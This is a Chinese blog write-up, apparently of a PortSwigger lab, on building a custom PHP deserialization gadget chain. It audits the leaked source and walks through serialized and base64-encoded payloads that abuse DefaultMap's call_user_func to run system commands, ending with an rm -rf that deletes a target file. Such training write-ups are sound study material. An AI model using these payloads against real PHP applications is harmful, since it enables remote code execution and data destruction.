某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

    • 高级主题

      • 不安全的反序列化

        • 学徒-修改序列化对象
        • 从业者-修改序列化数据类型
        • 从业者-使用应用程序功能
        • 从业者-PHP中的任意对象注入
        • 从业者-Apache Commons-Java反序列化
        • 从业者-预构建的小工具链-PHP反序列化
        • 从业者-收录在案的小工具链-Ruby反序列化
        • 专家-自定义小工具链-Java反序列化
        • 专家-自定义小工具链-PHP反序列化
          • 题目
          • 实操
            • 开始实验
            • 代码审计
            • 魔术方法__get()测试
            • 测试DefaultMap
            • 测试CustomTemplate
            • 结合DefaultMap-1
            • 结合DefaultMap-2
            • 最终
            • 个人废话
            • 后续改进
        • 专家-自定义小工具链-PHAR反序列化
      • GraphQL API漏洞

      • 服务端模板注入

      • Web缓存投毒

      • HTTP主机头攻击

      • HTTP请求走私

      • OAuth身份验证漏洞

      • JWT攻击

      • 原型链污染

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 高级主题
  • 不安全的反序列化
carsaid
2023-10-31
目录

专家-自定义小工具链-PHP反序列化

# 实验室:开发用于PHP反序列化的自定义小工具链

# 题目

此实验室使用基于序列化的会话机制。通过部署自定义小工具链,你可以利用其不安全的反序列化来实现远程代码执行。若要解决实验室问题,请从 Carlos 的家目录中删除morale.txt文件。

你可以使用以下凭据登录到自己的帐户:wiener:peter

提示

有时,你可以在文件名后面附加波浪号(~)来读取源代码,以检索编辑器生成的备份文件。

实验室-专家

开发用于PHP反序列化的自定义小工具链 >>

- name: 实验室-专家
  desc: 开发用于PHP反序列化的自定义小工具链 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization
  bgColor: '#001350'
  textColor: '#d112fe'
1
2
3
4
5
6

# 实操

# 开始实验

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

一个购物站点。

Not Found Image

老规矩,登录并捕获请求数据包,找到 Cookie 中经过加密的值。

解码之后是一段文本,正是 PHP 序列化对象。

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"k3v6lcvo2anz3pgymkv9z1es7z1ria7n";}
1
Not Found Image

查看站点地图,发现/cgi-bin/libs/CustomTemplate.php文件。

Not Found Image

根据题目中的提示,在文件后面添加波浪号/cgi-bin/libs/CustomTemplate.php~即可访问源代码。

Not Found Image

# 代码审计

CustomTemplate类,拥有三个属性。

  • 由于魔术方法__construct()的存在,在创建该对象时,属性值desc会被赋值为一个Description对象,属性值default_desc_type会被赋值为创建对象时所传递的值(默认为HTML_DESC),然后调用build_product()函数
  • 由于魔术方法__wakeup()的存在,反序列化时也会自动调用build_product()函数
  • build_product()函数中的程序会创建一个Product对象,并将default_desc_type和desc参数传递给构造函数
class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

Product类,拥有一个属性。

  • 由于魔术方法__construct()的存在,在创建该对象时,会将this->desc赋值为$desc->$default_desc_type
  • 如果你学过 Python,那么这个操作看起来就像是self.desc = desc.default_desc_type

而此时,由build_product()程序传递过来的$desc是一个Description对象,而default_desc_type则是字符串HTML_DESC。

相当于Description->HTML_DESC,也就是获取该对象中的 HTML_DESC 属性值,并赋值给当前对象的$this->desc变量。

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

1
2
3
4
5
6
7
8

Description类,拥有两个属性,用于存储文本。

其实这几个类的核心功能就是build_product()函数,它会获取Description中的文本内容。

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}
1
2
3
4
5
6
7
8
9
10

DefaultMap类,以上程序中并没有直接用到,应该是解题的关键。

  • 由于魔术方法__get()的存在,当你尝试读取该对象中一个无法访问(被设置为私有)或不存在的属性时,会调用call_user_func()函数
  • call_user_func()函数是 PHP 的一个内置函数,可用于调用另一个函数

如果你这样使用:call_user_func('system', 'ls'),相当于调用system('ls')。

巧了,call_user_func的两个参数都是用户可控的。

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13

# 魔术方法__get()测试

来看看魔术方法__get()具体是怎么运作的。

这是一段来自这篇文章 (opens new window)的示例代码,我对其进行了一点小小的修改:

<?php
class Person
{
    private $name;
    private $age;

    function __construct($name="", $age=1)
    {
        $this->name = $name;
        $this->age = $age;
    }

    /**
     * 在类中添加__get()方法,在直接获取属性值时自动调用一次,以属性名作为参数传入并处理
     * @param $propertyName
     *
     * @return int
     */
    public function __get($propertyName)
    {   
        if ($propertyName == "age") {
            if ($this->age > 30) {
                return $this->age - 10;
            } else {
                return $this->$propertyName;
            }
        } else {
            return $this->$propertyName;
        }
    }
}
$Person = new Person("小明", 60);   // 通过Person类实例化的对象,并通过构造方法为属性赋初值
echo "姓名:" . $Person->name . "<br>";   // 直接访问私有属性name,自动调用了__get()方法可以间接获取
echo "年龄:" . $Person->age . "<br>";    // 自动调用了__get()方法,根据对象本身的情况会返回不同的值

// 访问一个不存在的属性值
echo "年龄:" . $Person->abc . "<br>";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Not Found Image

可以看到,当访问对象中一个不存在属性值abc时,位于22行的return代码被执行了,说明触发了__get()。

Not Found Image

# 测试DefaultMap

代码:

  • 在创建DefaultMap对象时,将$this->callback设置为字符串 “system”
  • 然后访问一个不存在的属性值 “whoami”
  • 由于__get()的存在,会调用函数call_user_func('system', whoami)

从而造成代码执行。

<?php
	class DefaultMap {
		private $callback;
	
		public function __construct($callback) {
			$this->callback = $callback;
		}
	
		public function __get($name) {
			return call_user_func($this->callback, $name);
		}
	}

	$default = new DefaultMap('system');
	$default->whoami;

	echo '<br><br><br>';
	echo serialize($default);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

成功执行了命令whoami,这是生成的序列化对象:

  • 由于private私有属性的存在,序列化时会产生不可见字符
  • 此处的不可见字符用*来替代,实际利用过程中需要进行替换
O:10:"DefaultMap":1:{s:20:"*DefaultMap*callback";s:6:"system";}
1
Not Found Image

修改源代码,输出 Base64 编码后的序列化对象。

echo base64_encode(serialize($default));
1
Not Found Image

解码看看,存在不可见字符00,一般的文本编辑器根本无法保存。

Not Found Image

你可以使用扩展 “Hackvertor” 来进行编码和解码,它可以很好的保留不可见字符。

Not Found Image

# 测试CustomTemplate

保存并运行以下 PHP 代码,用于生成一个CustomTemplate序列化对象:

<?php
	class CustomTemplate {
		private $default_desc_type;
		private $desc;
		public $product;
	
		public function __construct($desc_type='HTML_DESC') {
			$this->desc = new Description();
			$this->default_desc_type = $desc_type;
			// Carlos thought this is cool, having a function called in two places... What a genius
			$this->build_product();
		}
	
		public function __sleep() {
			return ["default_desc_type", "desc"];
		}
	
		public function __wakeup() {
			$this->build_product();
		}
	
		private function build_product() {
			$this->product = new Product($this->default_desc_type, $this->desc);
		}
	}
	
	class Product {
		public $desc;
	
		public function __construct($default_desc_type, $desc) {
			$this->desc = $desc->$default_desc_type;
		}
	}
	
	class Description {
		public $HTML_DESC;
		public $TEXT_DESC;
	
		public function __construct() {
			// @Carlos, what were you thinking with these descriptions? Please refactor!
			$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
			$this->TEXT_DESC = 'This product is cool in text';
		}
	}
	
	class DefaultMap {
		private $callback;
	
		public function __construct($callback) {
			$this->callback = $callback;
		}
	
		public function __get($name) {
			return call_user_func($this->callback, $name);
		}
	}

	$a = new CustomTemplate();
	$str = base64_encode((serialize($a)));

	echo $str;

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

运行以上程序之后,获得一段经过编码的序列化对象:

TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czo5OiJIVE1MX0RFU0MiO3M6MjA6IgBDdXN0b21UZW1wbGF0ZQBkZXNjIjtPOjExOiJEZXNjcmlwdGlvbiI6Mjp7czo5OiJIVE1MX0RFU0MiO3M6NTY6IjxwPlRoaXMgcHJvZHVjdCBpcyA8Ymxpbms+U1VQRVI8L2JsaW5rPiBjb29sIGluIGh0bWw8L3A+IjtzOjk6IlRFWFRfREVTQyI7czoyODoiVGhpcyBwcm9kdWN0IGlzIGNvb2wgaW4gdGV4dCI7fX0=
1

解码后看起来像这样:

  • 不可见字符使用*来替代
O:14:"CustomTemplate":2:{s:33:"*CustomTemplate*default_desc_type";s:9:"HTML_DESC";s:20:"*CustomTemplate*desc";O:11:"Description":2:{s:9:"HTML_DESC";s:56:"<p>This product is <blink>SUPER</blink> cool in html</p>";s:9:"TEXT_DESC";s:28:"This product is cool in text";}}
1

如果在创建对象时,将默认的 “HTML_DESC” 修改为 “TEXT_DESC” 会如何?

$a = new CustomTemplate('TEXT_DESC');
1

序列化对象的default_desc_type属性值会被同步修改为 “TEXT_DESC”。

  • desc是一个Description对象,default_desc_type是文本 “HTML_DESC”,意思是获取Description->HTML_DESC
  • 如果default_desc_type是 “TEXT_DESC”,那就是获取Description->TEXT_DESC
O:14:"CustomTemplate":2:{s:33:"*CustomTemplate*default_desc_type";s:9:"TEXT_DESC";s:20:"*CustomTemplate*desc";O:11:"Description":2:{s:9:"HTML_DESC";s:56:"<p>This product is <blink>SUPER</blink> cool in html</p>";s:9:"TEXT_DESC";s:28:"This product is cool in text";}}
1

不可见字符真烦人。

Not Found Image

# 结合DefaultMap-1

那如果,我将desc篡改为对象DefaultMap,并将default_desc_type改为 “whoami”,是不是就相当于获取DefaultMap->whoami呢?

这会造成代码执行吗?

O:14:"CustomTemplate":2:{s:33:"*CustomTemplate*default_desc_type";s:6:"whoami";s:20:"*CustomTemplate*desc";O:10:"DefaultMap":1:{s:20:"*DefaultMap*callback";s:6:"system";}}
1

说试就试,对以上 PHP 恶意序列化对象进行 Base64 编码(记得加上不可见字符)。

Not Found Image

然后对这段 Base64 值进行反序列化:

<?php
	class CustomTemplate {
		private $default_desc_type;
		private $desc;
		public $product;
	
		public function __construct($desc_type='HTML_DESC') {
			$this->desc = new Description();
			$this->default_desc_type = $desc_type;
			// Carlos thought this is cool, having a function called in two places... What a genius
			$this->build_product();
		}
	
		public function __sleep() {
			return ["default_desc_type", "desc"];
		}
	
		public function __wakeup() {
			$this->build_product();
		}
	
		private function build_product() {
			$this->product = new Product($this->default_desc_type, $this->desc);
		}
	}
	
	class Product {
		public $desc;
	
		public function __construct($default_desc_type, $desc) {
			$this->desc = $desc->$default_desc_type;
		}
	}
	
	class Description {
		public $HTML_DESC;
		public $TEXT_DESC;
	
		public function __construct() {
			// @Carlos, what were you thinking with these descriptions? Please refactor!
			$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
			$this->TEXT_DESC = 'This product is cool in text';
		}
	}
	
	class DefaultMap {
		private $callback;
	
		public function __construct($callback) {
			$this->callback = $callback;
		}
	
		public function __get($name) {
			return call_user_func($this->callback, $name);
		}
	}

	// $a = new CustomTemplate();
	// $str = base64_encode((serialize($a)));

	$b = unserialize(base64_decode('TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czo2OiJ3aG9hbWkiO3M6MjA6IgBDdXN0b21UZW1wbGF0ZQBkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjIwOiIARGVmYXVsdE1hcABjYWxsYmFjayI7czo2OiJzeXN0ZW0iO319'));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

成功运行命令whoami,哦?哦!

Not Found Image

# 结合DefaultMap-2

如果我将default_desc_type 改为 “ipconfig /all” 呢?相当于访问DefaultMap->ipconfig /all属性,其中的空格会不会造成错误呢?

O:14:"CustomTemplate":2:{s:33:"*CustomTemplate*default_desc_type";s:13:"ipconfig /all";s:20:"*CustomTemplate*desc";O:10:"DefaultMap":1:{s:20:"*DefaultMap*callback";s:6:"system";}}
1

编码。

Not Found Image

反序列化:

<?php
	......省略

	$b = unserialize(base64_decode('TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoxMzoiaXBjb25maWcgL2FsbCI7czoyMDoiAEN1c3RvbVRlbXBsYXRlAGRlc2MiO086MTA6IkRlZmF1bHRNYXAiOjE6e3M6MjA6IgBEZWZhdWx0TWFwAGNhbGxiYWNrIjtzOjY6InN5c3RlbSI7fX0='));
?>
1
2
3
4
5

成功执行命令ipconfig /all,空格不会造成错误!

Not Found Image

# 最终

修改default_desc_type为 “rm -rf /home/carlos/morale.txt”,以满足题目要求:

O:14:"CustomTemplate":2:{s:33:"*CustomTemplate*default_desc_type";s:30:"rm -rf /home/carlos/morale.txt";s:20:"*CustomTemplate*desc";O:10:"DefaultMap":1:{s:20:"*DefaultMap*callback";s:6:"system";}}
1

Base64 编码和 URL 编码:

TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czozMDoicm0gLXJmIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0IjtzOjIwOiIAQ3VzdG9tVGVtcGxhdGUAZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ%3d%3d
1
Not Found Image

覆盖原有 Cookie,刷新网页。

攻击成功,实验完成。

Not Found Image

# 个人废话

我居然没看答案做出来了!!!

我没看答案!!!

噢噢噢噢噢噢!!!

从早上一直奋战到傍晚,我花了 7 个小时左右的时间来完成这个实验室。当我完成之后,我一瞬间充满了满足感。

(大佬们别骂了别骂了,我是个废物,能不看答案做出来已经很不错了)

完成实验的一小步,个人代审的一大步。

# 后续改进

由于私有属性值(private)带有不可见字符,这在编码时很烦人。

所以我试图将其转变为公有属性值(public),看看是否可以用于完成实验:

  • 属性值长度也要改
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:30:"rm -rf /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
1

编码后:

TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MTc6ImRlZmF1bHRfZGVzY190eXBlIjtzOjMwOiJybSAtcmYgL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czo4OiJjYWxsYmFjayI7czo2OiJzeXN0ZW0iO319Cg%3d%3d
1

经过测试,可以!

Not Found Image
编辑 (opens new window)
专家-自定义小工具链-Java反序列化
专家-自定义小工具链-PHAR反序列化

← 专家-自定义小工具链-Java反序列化 专家-自定义小工具链-PHAR反序列化→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式